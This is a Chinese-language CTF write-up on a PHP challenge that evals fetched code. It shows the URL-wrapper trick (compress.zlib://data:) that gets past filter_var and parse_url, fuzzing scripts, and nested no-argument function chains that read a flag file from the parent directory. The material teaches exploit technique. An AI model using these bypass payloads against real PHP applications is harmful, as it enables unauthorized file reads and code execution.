function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
print_r($r);
if (preg_match('/baidu\.com$/', $r['host'])) {
echo "pass preg_match";
$code = file_get_contents($url);
print_r($code);
// 下面这个正则约束了只能是phpinfo();这样的形式
// 所以基本来说 php://input 是不行了
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
} else {
highlight_file(__FILE__);
}
绕过方法:
compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
参考大佬的文章
链接
如何绕过filter_var
和parse_url
,在file_get_contents
的情况下,可以用data://
伪协议来绕过,对于这样的形式data://text/plain;base64,xxxxx
,parse_url
会将text
作为host
,并且PHP对MIME不敏感,改为这样data://baidu.com/plain;base64,xxxxx
就能绕过,并且file_get_contents
能直接读取到xxxx
的内容。由于题目已经禁止了以data开头,所以我们可以用compress.zlib
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
这个限制参数只能是a(b())
的形式,同时只能包含字母
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
限制了一些函数,例如getallheaders(),session_id()
等
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
$i_need_func[$j]=get_defined_functions()[internal][$i];
$j++;
}
}
print_r($i_need_func);
#var_dump(gettype(get_defined_functions()));
#var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) {
$i_need_func[$j]=get_defined_functions()[internal][$i];
$j++;
}
}
try {
for ($i=0; $i < count($i_need_func); $i++) {
if($i_need_func[$i]=="mhash")
continue;
if(!is_null($i_need_func[$i]())){
echo $i_need_func[$i];
var_dump($i_need_func[$i]());
}
}
} catch (\Throwable $th) {
}
localeconv()
返回一个数组,且第一个为.
phpversion()
返回版本号,是一个数字,我们就可以用数学函数构成46由于题目提示,flag
在上层目录,所以我们先要想办法改变当前的路径,所以我们还需要构造 ..
来跳到上一级目录,此处刚开始也卡了好久,但随后突然想到 ls -a
之后系统不就自带两点,这不是系统特性嘛,所以就有了如下paylaod
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
这个脚本可以利用数学函数+phpversion()
返回46
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";
}}}}}}}}
?>
函数chdir()
返回的是一个布尔值,true || false
,于是我么继续fuzz
,看那些函数传bool
值时返回的是什么。只要改一下上面的代码就行了,这儿就不再赘述
localtime(time(ture))
会返回一个数组,第一个为秒,我们只需要等到每分钟的46秒发送请求即可得到46hebrevc(crypt(ture))
返回一个字符串,有一定几率第一个字符串为.
uniqid(true)
也是返回一个字符串,且固定,我们可以使用ord()
取第一个字符串的ascll码,然后同理利用数学函数构造46crypt(serialize(array()))
利用crypt返回一个加密的字符串,加密的字符串末尾有几率出现一个.echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
由于题目中过滤了et
,_
,所以我们不能利用很多函数,但是一些思想还是非常值得学习的,这儿贴出飘零大佬的文章
链接
getenv() + array_rand() + array_flip
getallheaders()
session_id + session_start() + hex2bin + bin2hex
get_defined_vars()
dirname() + chdir()